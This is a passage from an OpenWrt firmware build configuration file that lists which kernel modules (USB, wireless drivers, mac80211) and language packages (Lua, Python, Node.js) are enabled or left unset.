not set CONFIG_PACKAGE_kmod-sched-core=y # CONFIG_PACKAGE_kmod-sched-ctinfo is not set # CONFIG_PACKAGE_kmod-sched-flower is not set # CONFIG_PACKAGE_kmod-sched-ipset is not set # CONFIG_PACKAGE_kmod-sched-mqprio is not set # CONFIG_PACKAGE_kmod-sctp is not set CONFIG_PACKAGE_kmod-shortcut-fe=y # CONFIG_PACKAGE_kmod-shortcut-fe-cm is not set # CONFIG_PACKAGE_kmod-sit is not set CONFIG_PACKAGE_kmod-slhc=y # CONFIG_PACKAGE_kmod-slip is not set CONFIG_PACKAGE_kmod-tcp-bbr=y # CONFIG_PACKAGE_kmod-trelay is not set # CONFIG_PACKAGE_kmod-tun is not set # CONFIG_PACKAGE_kmod-veth is not set # CONFIG_PACKAGE_kmod-vxlan is not set # CONFIG_PACKAGE_kmod-wireguard is not set # # Other modules # # CONFIG_PACKAGE_kmod-6lowpan is not set # CONFIG_PACKAGE_kmod-ath3k is not set # CONFIG_PACKAGE_kmod-bcma is not set # CONFIG_PACKAGE_kmod-bluetooth is not set # CONFIG_PACKAGE_kmod-bluetooth_6lowpan is not set # CONFIG_PACKAGE_kmod-bmp085 is not set # CONFIG_PACKAGE_kmod-bmp085-i2c is not set # CONFIG_PACKAGE_kmod-bmp085-spi is not set # CONFIG_PACKAGE_kmod-btmrvl is not set # CONFIG_PACKAGE_kmod-button-hotplug is not set # CONFIG_PACKAGE_kmod-echo is not set # CONFIG_PACKAGE_kmod-eeprom-93cx6 is not set # CONFIG_PACKAGE_kmod-eeprom-at24 is not set # CONFIG_PACKAGE_kmod-eeprom-at25 is not set # CONFIG_PACKAGE_kmod-gpio-beeper is not set CONFIG_PACKAGE_kmod-gpio-button-hotplug=y # CONFIG_PACKAGE_kmod-gpio-dev is not set # CONFIG_PACKAGE_kmod-gpio-mcp23s08 is not set # CONFIG_PACKAGE_kmod-gpio-nxp-74hc164 is not set # CONFIG_PACKAGE_kmod-gpio-pca953x is not set # CONFIG_PACKAGE_kmod-gpio-pcf857x is not set # CONFIG_PACKAGE_kmod-ikconfig is not set # CONFIG_PACKAGE_kmod-it87-wdt is not set # CONFIG_PACKAGE_kmod-itco-wdt is not set # CONFIG_PACKAGE_kmod-lp is not set # CONFIG_PACKAGE_kmod-mmc is not set # CONFIG_PACKAGE_kmod-mtd-rw is not set # CONFIG_PACKAGE_kmod-mtdoops is not set # CONFIG_PACKAGE_kmod-mtdram is not set # CONFIG_PACKAGE_kmod-mtdtests is not set # CONFIG_PACKAGE_kmod-parport-pc is not set # CONFIG_PACKAGE_kmod-ppdev is not set # CONFIG_PACKAGE_kmod-pps is not set # CONFIG_PACKAGE_kmod-pps-gpio is not set # CONFIG_PACKAGE_kmod-pps-ldisc is not set # CONFIG_PACKAGE_kmod-ptp is not set # CONFIG_PACKAGE_kmod-random-core is not set # CONFIG_PACKAGE_kmod-random-tpm is not set # CONFIG_PACKAGE_kmod-rtc-ds1307 is not set # CONFIG_PACKAGE_kmod-rtc-ds1374 is not set # CONFIG_PACKAGE_kmod-rtc-ds1672 is not set # CONFIG_PACKAGE_kmod-rtc-em3027 is not set # CONFIG_PACKAGE_kmod-rtc-isl1208 is not set # CONFIG_PACKAGE_kmod-rtc-pcf2123 is not set # CONFIG_PACKAGE_kmod-rtc-pcf2127 is not set # CONFIG_PACKAGE_kmod-rtc-pcf8563 is not set # CONFIG_PACKAGE_kmod-rtc-pt7c4338 is not set # CONFIG_PACKAGE_kmod-rtc-rs5c372a is not set # CONFIG_PACKAGE_kmod-rtc-rx8025 is not set # CONFIG_PACKAGE_kmod-sdhci is not set # CONFIG_PACKAGE_kmod-serial-8250 is not set # CONFIG_PACKAGE_kmod-serial-8250-exar is not set # CONFIG_PACKAGE_kmod-softdog is not set # CONFIG_PACKAGE_kmod-ssb is not set CONFIG_PACKAGE_kmod-thermal=y # CONFIG_PACKAGE_kmod-tpm is not set # CONFIG_PACKAGE_kmod-tpm-i2c-atmel is not set # CONFIG_PACKAGE_kmod-tpm-i2c-infineon is not set # CONFIG_PACKAGE_kmod-w83627hf-wdt is not set # CONFIG_PACKAGE_kmod-wifidog-ng is not set # CONFIG_PACKAGE_kmod-zram is not set # # PCMCIA support # # # SPI Support # # CONFIG_PACKAGE_kmod-mmc-spi is not set # CONFIG_PACKAGE_kmod-spi-bitbang is not set # CONFIG_PACKAGE_kmod-spi-dev is not set # CONFIG_PACKAGE_kmod-spi-gpio is not set # CONFIG_PACKAGE_kmod-spi-gpio-custom is not set # CONFIG_PACKAGE_kmod-spi-vsc7385 is not set # # Sound Support # # CONFIG_PACKAGE_kmod-sound-core is not set # # USB Support # # CONFIG_PACKAGE_kmod-chaoskey is not set # CONFIG_PACKAGE_kmod-usb-acm is not set # CONFIG_PACKAGE_kmod-usb-atm is not set # CONFIG_PACKAGE_kmod-usb-chipidea is not set # CONFIG_PACKAGE_kmod-usb-chipidea2 is not set # CONFIG_PACKAGE_kmod-usb-cm109 is not set CONFIG_PACKAGE_kmod-usb-core=y # CONFIG_PACKAGE_kmod-usb-dwc2 is not set # CONFIG_PACKAGE_kmod-usb-dwc3 is not set CONFIG_PACKAGE_kmod-usb-ehci=y # CONFIG_PACKAGE_kmod-usb-gadget-cdc-composite is not set # CONFIG_PACKAGE_kmod-usb-gadget-ehci-debug is not set # CONFIG_PACKAGE_kmod-usb-gadget-eth is not set # CONFIG_PACKAGE_kmod-usb-gadget-hid is not set # CONFIG_PACKAGE_kmod-usb-gadget-mass-storage is not set # CONFIG_PACKAGE_kmod-usb-gadget-serial is not set # CONFIG_PACKAGE_kmod-usb-hid is not set CONFIG_PACKAGE_kmod-usb-ledtrig-usbport=y # CONFIG_PACKAGE_kmod-usb-net is not set # CONFIG_PACKAGE_kmod-usb-net2280 is not set # CONFIG_PACKAGE_kmod-usb-ohci is not set # CONFIG_PACKAGE_kmod-usb-ohci-pci is not set # CONFIG_PACKAGE_kmod-usb-printer is not set # CONFIG_PACKAGE_kmod-usb-serial is not set # CONFIG_PACKAGE_kmod-usb-storage is not set # CONFIG_PACKAGE_kmod-usb-storage-extras is not set # CONFIG_PACKAGE_kmod-usb-storage-uas is not set # CONFIG_PACKAGE_kmod-usb-uhci is not set # CONFIG_PACKAGE_kmod-usb-wdm is not set # CONFIG_PACKAGE_kmod-usb-yealink is not set CONFIG_PACKAGE_kmod-usb2=y # CONFIG_PACKAGE_kmod-usb2-pci is not set # CONFIG_PACKAGE_kmod-usb3 is not set # CONFIG_PACKAGE_kmod-usbip is not set # CONFIG_PACKAGE_kmod-usbip-client is not set # CONFIG_PACKAGE_kmod-usbip-server is not set # CONFIG_PACKAGE_kmod-usbmon is not set # # Video Support # # CONFIG_PACKAGE_kmod-video-core is not set # # Virtualization # # # Voice over IP # # # W1 support # # CONFIG_PACKAGE_kmod-w1 is not set # # WPAN 802.15.4 Support # # CONFIG_PACKAGE_kmod-at86rf230 is not set # CONFIG_PACKAGE_kmod-atusb is not set # CONFIG_PACKAGE_kmod-cc2520 is not set # CONFIG_PACKAGE_kmod-fakelb is not set # CONFIG_PACKAGE_kmod-ieee802154 is not set # CONFIG_PACKAGE_kmod-ieee802154_6lowpan is not set # CONFIG_PACKAGE_kmod-mac802154 is not set # CONFIG_PACKAGE_kmod-mrf24j40 is not set # # Wireless Drivers # # CONFIG_PACKAGE_kmod-adm8211 is not set CONFIG_PACKAGE_kmod-ath=y CONFIG_ATH_USER_REGD=y # CONFIG_PACKAGE_ATH_DEBUG is not set CONFIG_PACKAGE_ATH_DFS=y # CONFIG_PACKAGE_ATH_DYNACK is not set CONFIG_PACKAGE_kmod-ath10k=y CONFIG_ATH10K_LEDS=y CONFIG_ATH10K_THERMAL=y # CONFIG_PACKAGE_kmod-ath10k-ct is not set # CONFIG_PACKAGE_kmod-ath10k-ct-smallbuffers is not set # CONFIG_PACKAGE_kmod-ath5k is not set # CONFIG_PACKAGE_kmod-ath6kl-sdio is not set # CONFIG_PACKAGE_kmod-ath6kl-usb is not set CONFIG_PACKAGE_kmod-ath9k=y # CONFIG_ATH9K_SUPPORT_PCOEM is not set # CONFIG_ATH9K_TX99 is not set CONFIG_ATH9K_UBNTHSR=y CONFIG_PACKAGE_kmod-ath9k-common=y # CONFIG_PACKAGE_kmod-ath9k-htc is not set # CONFIG_PACKAGE_kmod-b43 is not set # CONFIG_PACKAGE_kmod-b43legacy is not set # CONFIG_PACKAGE_kmod-brcmfmac is not set # CONFIG_PACKAGE_kmod-brcmsmac is not set # CONFIG_PACKAGE_kmod-brcmutil is not set # CONFIG_PACKAGE_kmod-carl9170 is not set CONFIG_PACKAGE_kmod-cfg80211=y # CONFIG_PACKAGE_kmod-hermes is not set # CONFIG_PACKAGE_kmod-hermes-pci is not set # CONFIG_PACKAGE_kmod-hermes-plx is not set # CONFIG_PACKAGE_kmod-iwl-legacy is not set # CONFIG_PACKAGE_kmod-iwl3945 is not set # CONFIG_PACKAGE_kmod-iwl4965 is not set # CONFIG_PACKAGE_kmod-iwlwifi is not set # CONFIG_PACKAGE_kmod-lib80211 is not set # CONFIG_PACKAGE_kmod-libertas-sdio is not set # CONFIG_PACKAGE_kmod-libertas-spi is not set # CONFIG_PACKAGE_kmod-libertas-usb is not set CONFIG_PACKAGE_kmod-mac80211=y CONFIG_PACKAGE_MAC80211_DEBUGFS=y # CONFIG_PACKAGE_MAC80211_TRACING is not set CONFIG_PACKAGE_MAC80211_MESH=y # CONFIG_PACKAGE_kmod-mac80211-hwsim is not set # CONFIG_PACKAGE_kmod-mt76 is not set # CONFIG_PACKAGE_kmod-mt7601u is not set # CONFIG_PACKAGE_kmod-mt7603 is not set # CONFIG_PACKAGE_kmod-mt7615e is not set # CONFIG_PACKAGE_kmod-mt76x0e is not set # CONFIG_PACKAGE_kmod-mt76x0u is not set # CONFIG_PACKAGE_kmod-mt76x2 is not set # CONFIG_PACKAGE_kmod-mt76x2u is not set # CONFIG_PACKAGE_kmod-mt_wifi is not set # CONFIG_PACKAGE_kmod-mwifiex-pcie is not set # CONFIG_PACKAGE_kmod-mwifiex-sdio is not set # CONFIG_PACKAGE_kmod-mwl8k is not set # CONFIG_PACKAGE_kmod-net-prism54 is not set # CONFIG_PACKAGE_kmod-net-rtl8192su is not set # CONFIG_PACKAGE_kmod-owl-loader is not set # CONFIG_PACKAGE_kmod-p54-common is not set # CONFIG_PACKAGE_kmod-p54-pci is not set # CONFIG_PACKAGE_kmod-p54-usb is not set # CONFIG_PACKAGE_kmod-rsi91x is not set # CONFIG_PACKAGE_kmod-rsi91x-sdio is not set # CONFIG_PACKAGE_kmod-rsi91x-usb is not set # CONFIG_PACKAGE_kmod-rt2400-pci is not set # CONFIG_PACKAGE_kmod-rt2500-pci is not set # CONFIG_PACKAGE_kmod-rt2500-usb is not set # CONFIG_PACKAGE_kmod-rt2800-pci is not set # CONFIG_PACKAGE_kmod-rt2800-usb is not set # CONFIG_PACKAGE_kmod-rt2x00-lib is not set # CONFIG_PACKAGE_kmod-rt61-pci is not set # CONFIG_PACKAGE_kmod-rt73-usb is not set # CONFIG_PACKAGE_kmod-rtl8180 is not set # CONFIG_PACKAGE_kmod-rtl8187 is not set # CONFIG_PACKAGE_kmod-rtl8192ce is not set # CONFIG_PACKAGE_kmod-rtl8192cu is not set # CONFIG_PACKAGE_kmod-rtl8192de is not set # CONFIG_PACKAGE_kmod-rtl8192se is not set # CONFIG_PACKAGE_kmod-rtl8821ae is not set # CONFIG_PACKAGE_kmod-rtl8xxxu is not set # CONFIG_PACKAGE_kmod-wl12xx is not set # CONFIG_PACKAGE_kmod-wl18xx is not set # CONFIG_PACKAGE_kmod-wlcore is not set # CONFIG_PACKAGE_kmod-zd1211rw is not set # CONFIG_PACKAGE_wifi-l1profile is not set # # Languages # # # Erlang # # CONFIG_PACKAGE_erlang is not set # CONFIG_PACKAGE_erlang-asn1 is not set # CONFIG_PACKAGE_erlang-compiler is not set # CONFIG_PACKAGE_erlang-crypto is not set # CONFIG_PACKAGE_erlang-hipe is not set # CONFIG_PACKAGE_erlang-inets is not set # CONFIG_PACKAGE_erlang-mnesia is not set # CONFIG_PACKAGE_erlang-runtime-tools is not set # CONFIG_PACKAGE_erlang-snmp is not set # CONFIG_PACKAGE_erlang-ssh is not set # CONFIG_PACKAGE_erlang-ssl is not set # CONFIG_PACKAGE_erlang-syntax-tools is not set # # Go # # CONFIG_PACKAGE_golang is not set # CONFIG_PACKAGE_golang-doc is not set # CONFIG_PACKAGE_golang-github-nextdns-nextdns-dev is not set # CONFIG_PACKAGE_golang-src is not set # # Java # # CONFIG_PACKAGE_jamvm is not set # # Lua # # CONFIG_PACKAGE_dkjson is not set # CONFIG_PACKAGE_json4lua is not set # CONFIG_PACKAGE_ldbus is not set CONFIG_PACKAGE_libiwinfo-lua=y # CONFIG_PACKAGE_lpeg is not set # CONFIG_PACKAGE_lsqlite3 is not set CONFIG_PACKAGE_lua=y # CONFIG_PACKAGE_lua-bencode is not set # CONFIG_PACKAGE_lua-cjson is not set # CONFIG_PACKAGE_lua-copas is not set # CONFIG_PACKAGE_lua-coxpcall is not set # CONFIG_PACKAGE_lua-examples is not set # CONFIG_PACKAGE_lua-lzlib is not set # CONFIG_PACKAGE_lua-md5 is not set # CONFIG_PACKAGE_lua-mobdebug is not set # CONFIG_PACKAGE_lua-mosquitto is not set # CONFIG_PACKAGE_lua-openssl is not set # CONFIG_PACKAGE_lua-penlight is not set # CONFIG_PACKAGE_lua-rings is not set # CONFIG_PACKAGE_lua-rs232 is not set # CONFIG_PACKAGE_lua-sha2 is not set # CONFIG_PACKAGE_lua-wsapi-base is not set # CONFIG_PACKAGE_lua-wsapi-xavante is not set # CONFIG_PACKAGE_lua-xavante is not set # CONFIG_PACKAGE_luabitop is not set # CONFIG_PACKAGE_luac is not set # CONFIG_PACKAGE_luaexpat is not set # CONFIG_PACKAGE_luafilesystem is not set # CONFIG_PACKAGE_luajit is not set # CONFIG_PACKAGE_lualanes is not set # CONFIG_PACKAGE_luaposix is not set # CONFIG_PACKAGE_luarocks is not set # CONFIG_PACKAGE_luasec is not set # CONFIG_PACKAGE_luasoap is not set # CONFIG_PACKAGE_luasocket is not set # CONFIG_PACKAGE_luasql-mysql is not set # CONFIG_PACKAGE_luasql-pgsql is not set # CONFIG_PACKAGE_luasql-sqlite3 is not set CONFIG_PACKAGE_luci-lib-fs=y # CONFIG_PACKAGE_luv is not set # CONFIG_PACKAGE_lzmq is not set # CONFIG_PACKAGE_uuid is not set # # Node.js # # CONFIG_PACKAGE_node is not set # CONFIG_PACKAGE_node-arduino-firmata is not set # CONFIG_PACKAGE_node-cylon is not set # CONFIG_PACKAGE_node-cylon-firmata is not set # CONFIG_PACKAGE_node-cylon-gpio is not set # CONFIG_PACKAGE_node-cylon-i2c is not set # CONFIG_PACKAGE_node-hid is not set # CONFIG_PACKAGE_node-homebridge is not set # CONFIG_PACKAGE_node-javascript-obfuscator is not set # CONFIG_PACKAGE_node-npm is not set # CONFIG_PACKAGE_node-serialport is not set # CONFIG_PACKAGE_node-serialport-bindings is not set # # PHP # # CONFIG_PACKAGE_php7 is not set # # Perl # # CONFIG_PACKAGE_perl is not set # # Python # # CONFIG_PACKAGE_gunicorn is not set # CONFIG_PACKAGE_gunicorn3 is not set # CONFIG_PACKAGE_micropython is not set # CONFIG_PACKAGE_micropython-lib is not set # CONFIG_PACKAGE_python is not set # CONFIG_PACKAGE_python-astral is not set # CONFIG_PACKAGE_python-astral-src is not set # CONFIG_PACKAGE_python-attrs is not set # CONFIG_PACKAGE_python-attrs-src is not set # CONFIG_PACKAGE_python-automat is not set # CONFIG_PACKAGE_python-automat-src is not set # CONFIG_PACKAGE_python-awscli is not set # CONFIG_PACKAGE_python-awscli-src is not set # CONFIG_PACKAGE_python-base is not set # CONFIG_PACKAGE_python-base-src is not set # CONFIG_PACKAGE_python-bcrypt is not set # CONFIG_PACKAGE_python-bcrypt-src is not set # CONFIG_PACKAGE_python-botocore is not set # CONFIG_PACKAGE_python-botocore-src is not set # CONFIG_PACKAGE_python-certifi is not set # CONFIG_PACKAGE_python-certifi-src is not set # CONFIG_PACKAGE_python-cffi is not set # CONFIG_PACKAGE_python-cffi-src is not set # CONFIG_PACKAGE_python-chardet is not set # CONFIG_PACKAGE_python-chardet-src is not set # CONFIG_PACKAGE_python-codecs is not set # CONFIG_PACKAGE_python-codecs-src is not set # CONFIG_PACKAGE_python-colorama is not set # CONFIG_PACKAGE_python-colorama-src is not set # CONFIG_PACKAGE_python-compiler is not set # CONFIG_PACKAGE_python-compiler-src is not set # CONFIG_PACKAGE_python-constantly is not set # CONFIG_PACKAGE_python-constantly-src is not set # CONFIG_PACKAGE_python-crcmod is not set # CONFIG_PACKAGE_python-crypto is not set # CONFIG_PACKAGE_python-crypto-src is not set # CONFIG_PACKAGE_python-cryptodome is not set # CONFIG_PACKAGE_python-cryptodome-src is not set # CONFIG_PACKAGE_python-cryptodomex is not set # CONFIG_PACKAGE_python-cryptodomex-src is not set # CONFIG_PACKAGE_python-cryptography is not set # CONFIG_PACKAGE_python-cryptography-src is not set # CONFIG_PACKAGE_python-ctypes is not set # CONFIG_PACKAGE_python-ctypes-src is not set # CONFIG_PACKAGE_python-curl is not set # CONFIG_PACKAGE_python-curl-src is not set # CONFIG_PACKAGE_python-dateutil is not set # CONFIG_PACKAGE_python-dateutil-src is not set # CONFIG_PACKAGE_python-db is not set # CONFIG_PACKAGE_python-db-src is not set # CONFIG_PACKAGE_python-decimal is not set # CONFIG_PACKAGE_python-decimal-src is not set # CONFIG_PACKAGE_python-defusedxml is not set # CONFIG_PACKAGE_python-defusedxml-src is not set # CONFIG_PACKAGE_python-dev is not set # CONFIG_PACKAGE_python-dev-src is not set # CONFIG_PACKAGE_python-distutils is not set # CONFIG_PACKAGE_python-distutils-src is not set # CONFIG_PACKAGE_python-django1 is not set # CONFIG_PACKAGE_python-django1-common is not set # CONFIG_PACKAGE_python-django1-src is not set # CONFIG_PACKAGE_python-dns is not set # CONFIG_PACKAGE_python-dns-src is not set # CONFIG_PACKAGE_python-docutils is not set # CONFIG_PACKAGE_python-docutils-src is not set # CONFIG_PACKAGE_python-dpkt is not set # CONFIG_PACKAGE_python-egenix-mx-base is not set # CONFIG_PACKAGE_python-egenix-mx-base-src is not set # CONFIG_PACKAGE_python-email is not set # CONFIG_PACKAGE_python-email-src is not set # CONFIG_PACKAGE_python-enum34 is not set # CONFIG_PACKAGE_python-enum34-src is not set # CONFIG_PACKAGE_python-et_xmlfile is not set # CONFIG_PACKAGE_python-et_xmlfile-src is not set # CONFIG_PACKAGE_python-evdev is not set # CONFIG_PACKAGE_python-evdev-src is not set # CONFIG_PACKAGE_python-flup is not set # CONFIG_PACKAGE_python-flup-src is not set # CONFIG_PACKAGE_python-futures is not set # CONFIG_PACKAGE_python-futures-src is not set # CONFIG_PACKAGE_python-gdbm is not set # CONFIG_PACKAGE_python-gdbm-src is not set # CONFIG_PACKAGE_python-gmpy2 is not set # CONFIG_PACKAGE_python-gmpy2-src is not set # CONFIG_PACKAGE_python-gnupg is not set # CONFIG_PACKAGE_python-gunicorn is not set # CONFIG_PACKAGE_python-gunicorn-src is not set # CONFIG_PACKAGE_python-hyperlink is not set # CONFIG_PACKAGE_python-hyperlink-src is not set # CONFIG_PACKAGE_python-idna is not set # CONFIG_PACKAGE_python-idna-src is not set # CONFIG_PACKAGE_python-incremental is not set # CONFIG_PACKAGE_python-incremental-src is not set # CONFIG_PACKAGE_python-ipaddress is not set # CONFIG_PACKAGE_python-ipaddress-src is not set # CONFIG_PACKAGE_python-jdcal is not set # CONFIG_PACKAGE_python-jdcal-src is not set # CONFIG_PACKAGE_python-jmespath is not set # CONFIG_PACKAGE_python-jmespath-src is not set # CONFIG_PACKAGE_python-ldap is not set # CONFIG_PACKAGE_python-lib2to3 is not set # CONFIG_PACKAGE_python-lib2to3-src is not set # CONFIG_PACKAGE_python-libmodbus is not set # CONFIG_PACKAGE_python-light is not set # # Configuration # # CONFIG_PYTHON_BLUETOOTH_SUPPORT is not set # CONFIG_PACKAGE_python-light-src is not set # CONFIG_PACKAGE_python-logging is not set # CONFIG_PACKAGE_python-logging-src is not set # CONFIG_PACKAGE_python-lxml is not set # CONFIG_PACKAGE_python-lxml-src is not set # CONFIG_PACKAGE_python-multiprocessing is not set # CONFIG_PACKAGE_python-multiprocessing-src is not set # CONFIG_PACKAGE_python-mysqlclient is not set # CONFIG_PACKAGE_python-mysqlclient-src is not set # CONFIG_PACKAGE_python-ncurses is not set # CONFIG_PACKAGE_python-ncurses-src is not set # CONFIG_PACKAGE_python-oauthlib is not set # CONFIG_PACKAGE_python-oauthlib-src is not set # CONFIG_PACKAGE_python-openpyxl is not set # CONFIG_PACKAGE_python-openpyxl-src is not set # CONFIG_PACKAGE_python-openssl is not set # CONFIG_PACKAGE_python-openssl-src is not set # CONFIG_PACKAGE_python-parsley is not set # CONFIG_PACKAGE_python-parsley-src is not set # CONFIG_PACKAGE_python-passlib is not set # CONFIG_PACKAGE_python-passlib-src is not set # CONFIG_PACKAGE_python-pcapy is not set # CONFIG_PACKAGE_python-pillow is not set # CONFIG_PACKAGE_python-pillow-src is not set # CONFIG_PACKAGE_python-pip is not set # CONFIG_PACKAGE_python-pip-conf is not set # CONFIG_PACKAGE_python-pip-src is not set # CONFIG_PACKAGE_python-pkg-resources is not set # CONFIG_PACKAGE_python-pkg-resources-src is not set # CONFIG_PACKAGE_python-ply is not set # CONFIG_PACKAGE_python-ply-src is not set # CONFIG_PACKAGE_python-psycopg2 is not set # CONFIG_PACKAGE_python-pyasn1 is not set # CONFIG_PACKAGE_python-pyasn1-modules is not set # CONFIG_PACKAGE_python-pyasn1-modules-src is not set # CONFIG_PACKAGE_python-pyasn1-src is not set # CONFIG_PACKAGE_python-pycparser is not set # CONFIG_PACKAGE_python-pycparser-src is not set # CONFIG_PACKAGE_python-pydoc is not set # CONFIG_PACKAGE_python-pydoc-src is not set # CONFIG_PACKAGE_python-pyjwt is not set # CONFIG_PACKAGE_python-pyjwt-src is not set # CONFIG_PACKAGE_python-pyodbc is not set # CONFIG_PACKAGE_python-pyopenssl is not set # CONFIG_PACKAGE_python-pyopenssl-src is not set # CONFIG_PACKAGE_python-pyptlib is not set # CONFIG_PACKAGE_python-pyptlib-src is not set # CONFIG_PACKAGE_python-pyserial is not set # CONFIG_PACKAGE_python-pyserial-src is not set # CONFIG_PACKAGE_python-pytz is not set # CONFIG_PACKAGE_python-pytz-src is not set # CONFIG_PACKAGE_python-qrcode is not set # CONFIG_PACKAGE_python-qrcode-src is not set # CONFIG_PACKAGE_python-rcssmin is not set # CONFIG_PACKAGE_python-rcssmin-src is not set # CONFIG_PACKAGE_python-requests is not set # CONFIG_PACKAGE_python-requests-oauthlib is not set # CONFIG_PACKAGE_python-requests-oauthlib-src is not set # CONFIG_PACKAGE_python-requests-src is not set # CONFIG_PACKAGE_python-rsa is not set # CONFIG_PACKAGE_python-rsa-src is not set # CONFIG_PACKAGE_python-ruamel-yaml is not set # CONFIG_PACKAGE_python-ruamel-yaml-src is not set # CONFIG_PACKAGE_python-s3transfer is not set # CONFIG_PACKAGE_python-s3transfer-src is not set # CONFIG_PACKAGE_python-service-identity is not set # CONFIG_PACKAGE_python-service-identity-src is not set # CONFIG_PACKAGE_python-setuptools is not set # CONFIG_PACKAGE_python-setuptools-src is not set # CONFIG_PACKAGE_python-simplejson is not set # CONFIG_PACKAGE_python-simplejson-src is not set # CONFIG_PACKAGE_python-six is not set # CONFIG_PACKAGE_python-six-src is not set # CONFIG_PACKAGE_python-smbus is not set # CONFIG_PACKAGE_python-sqlite3 is not set # CONFIG_PACKAGE_python-sqlite3-src is not set # CONFIG_PACKAGE_python-text-unidecode is not set # CONFIG_PACKAGE_python-text-unidecode-src is not set # CONFIG_PACKAGE_python-twisted is not set # CONFIG_PACKAGE_python-twisted-src is not set # CONFIG_PACKAGE_python-txsocksx is not set # CONFIG_PACKAGE_python-txsocksx-src is not set # CONFIG_PACKAGE_python-unittest is not set # CONFIG_PACKAGE_python-unittest-src is not set # CONFIG_PACKAGE_python-urllib3 is not set # CONFIG_PACKAGE_python-urllib3-src is not set # CONFIG_PACKAGE_python-vobject is not set # CONFIG_PACKAGE_python-vobject-src is not set # CONFIG_PACKAGE_python-voluptuous is not set # CONFIG_PACKAGE_python-voluptuous-src is not set # CONFIG_PACKAGE_python-xml is not set # CONFIG_PACKAGE_python-xml-src is not set # CONFIG_PACKAGE_python-yaml is not set # CONFIG_PACKAGE_python-yaml-src is not set # CONFIG_PACKAGE_python-zope-interface is not set # CONFIG_PACKAGE_python-zope-interface-src is not set # CONFIG_PACKAGE_python3 is not set # CONFIG_PACKAGE_python3-aiohttp is not set # CONFIG_PACKAGE_python3-aiohttp-cors is not set # CONFIG_PACKAGE_python3-aiohttp-cors-src is not set # CONFIG_PACKAGE_python3-aiohttp-src is not set # CONFIG_PACKAGE_python3-appdirs is not set # CONFIG_PACKAGE_python3-appdirs-src is not set # CONFIG_PACKAGE_python3-asgiref is not set # CONFIG_PACKAGE_python3-asgiref-src is not set # CONFIG_PACKAGE_python3-asn1crypto is not set # CONFIG_PACKAGE_python3-asn1crypto-src is not set # CONFIG_PACKAGE_python3-astral is not set # CONFIG_PACKAGE_python3-astral-src is not set # CONFIG_PACKAGE_python3-async-timeout is not set # CONFIG_PACKAGE_python3-async-timeout-src is not set # CONFIG_PACKAGE_python3-asyncio is not set # CONFIG_PACKAGE_python3-asyncio-src is not set # CONFIG_PACKAGE_python3-atomicwrites is not set # CONFIG_PACKAGE_python3-atomicwrites-src is not set # CONFIG_PACKAGE_python3-attrs is not set # CONFIG_PACKAGE_python3-attrs-src is not set # CONFIG_PACKAGE_python3-automat is not set # CONFIG_PACKAGE_python3-automat-src is not set # CONFIG_PACKAGE_python3-awscli is not set # CONFIG_PACKAGE_python3-awscli-src is not set # CONFIG_PACKAGE_python3-base is not set # CONFIG_PACKAGE_python3-base-src is not set # CONFIG_PACKAGE_python3-bcrypt is not set # CONFIG_PACKAGE_python3-bcrypt-src is not set # CONFIG_PACKAGE_python3-boto3 is not set # CONFIG_PACKAGE_python3-boto3-src is not set # CONFIG_PACKAGE_python3-botocore is not set # CONFIG_PACKAGE_python3-botocore-src is not set # CONFIG_PACKAGE_python3-bottle is not set # CONFIG_PACKAGE_python3-bottle-src is not set # CONFIG_PACKAGE_python3-cachelib is not set # CONFIG_PACKAGE_python3-cachelib-src is not set # CONFIG_PACKAGE_python3-cachetools is not set # CONFIG_PACKAGE_python3-cachetools-src is not set # CONFIG_PACKAGE_python3-certifi is not set # CONFIG_PACKAGE_python3-certifi-src is not set # CONFIG_PACKAGE_python3-cffi is not set # CONFIG_PACKAGE_python3-cffi-src is not set # CONFIG_PACKAGE_python3-cgi is not set # CONFIG_PACKAGE_python3-cgi-src is not set # CONFIG_PACKAGE_python3-cgitb is not set # CONFIG_PACKAGE_python3-cgitb-src is not set # CONFIG_PACKAGE_python3-chardet is not set # CONFIG_PACKAGE_python3-chardet-src is not set # CONFIG_PACKAGE_python3-click is not set # CONFIG_PACKAGE_python3-click-log is not set # CONFIG_PACKAGE_python3-click-log-src is not set # CONFIG_PACKAGE_python3-click-src is not set # CONFIG_PACKAGE_python3-codecs is not set # CONFIG_PACKAGE_python3-codecs-src is not set # CONFIG_PACKAGE_python3-colorama is not set # CONFIG_PACKAGE_python3-colorama-src is not set # CONFIG_PACKAGE_python3-constantly is not set # CONFIG_PACKAGE_python3-constantly-src is not set # CONFIG_PACKAGE_python3-contextlib2 is not set # CONFIG_PACKAGE_python3-contextlib2-src is not set # CONFIG_PACKAGE_python3-crypto is not set # CONFIG_PACKAGE_python3-crypto-src is not set # CONFIG_PACKAGE_python3-cryptodome is not set # CONFIG_PACKAGE_python3-cryptodome-src is not set # CONFIG_PACKAGE_python3-cryptodomex is not set # CONFIG_PACKAGE_python3-cryptodomex-src is not set # CONFIG_PACKAGE_python3-cryptography is not set # CONFIG_PACKAGE_python3-cryptography-src is not set # CONFIG_PACKAGE_python3-ctypes is not set # CONFIG_PACKAGE_python3-ctypes-src is not set # CONFIG_PACKAGE_python3-curl is not set # CONFIG_PACKAGE_python3-curl-src is not set # CONFIG_PACKAGE_python3-dateutil is not set # CONFIG_PACKAGE_python3-dateutil-src is not set # CONFIG_PACKAGE_python3-dbm is not set # CONFIG_PACKAGE_python3-dbm-src is not set # CONFIG_PACKAGE_python3-decimal is not set # CONFIG_PACKAGE_python3-decimal-src is not set # CONFIG_PACKAGE_python3-decorator is not set # CONFIG_PACKAGE_python3-decorator-src is not set # CONFIG_PACKAGE_python3-defusedxml is not set # CONFIG_PACKAGE_python3-defusedxml-src is not set # CONFIG_PACKAGE_python3-dev is not set # CONFIG_PACKAGE_python3-dev-src is not set # CONFIG_PACKAGE_python3-distutils is not set # CONFIG_PACKAGE_python3-distutils-src is not set # CONFIG_PACKAGE_python3-django is not set # CONFIG_PACKAGE_python3-django-appconf is not set # CONFIG_PACKAGE_python3-django-appconf-src is not set # CONFIG_PACKAGE_python3-django-compressor is not set # CONFIG_PACKAGE_python3-django-compressor-src is not set # CONFIG_PACKAGE_python3-django-constance is not set # CONFIG_PACKAGE_python3-django-constance-src is not set # CONFIG_PACKAGE_python3-django-cors-headers is not set # CONFIG_PACKAGE_python3-django-cors-headers-src is not set # CONFIG_PACKAGE_python3-django-etesync-journal is not set # CONFIG_PACKAGE_python3-django-etesync-journal-src is not set # CONFIG_PACKAGE_python3-django-formtools is not set # CONFIG_PACKAGE_python3-django-formtools-src is not set # CONFIG_PACKAGE_python3-django-jsonfield is not set # CONFIG_PACKAGE_python3-django-jsonfield-src is not set # CONFIG_PACKAGE_python3-django-picklefield is not set # 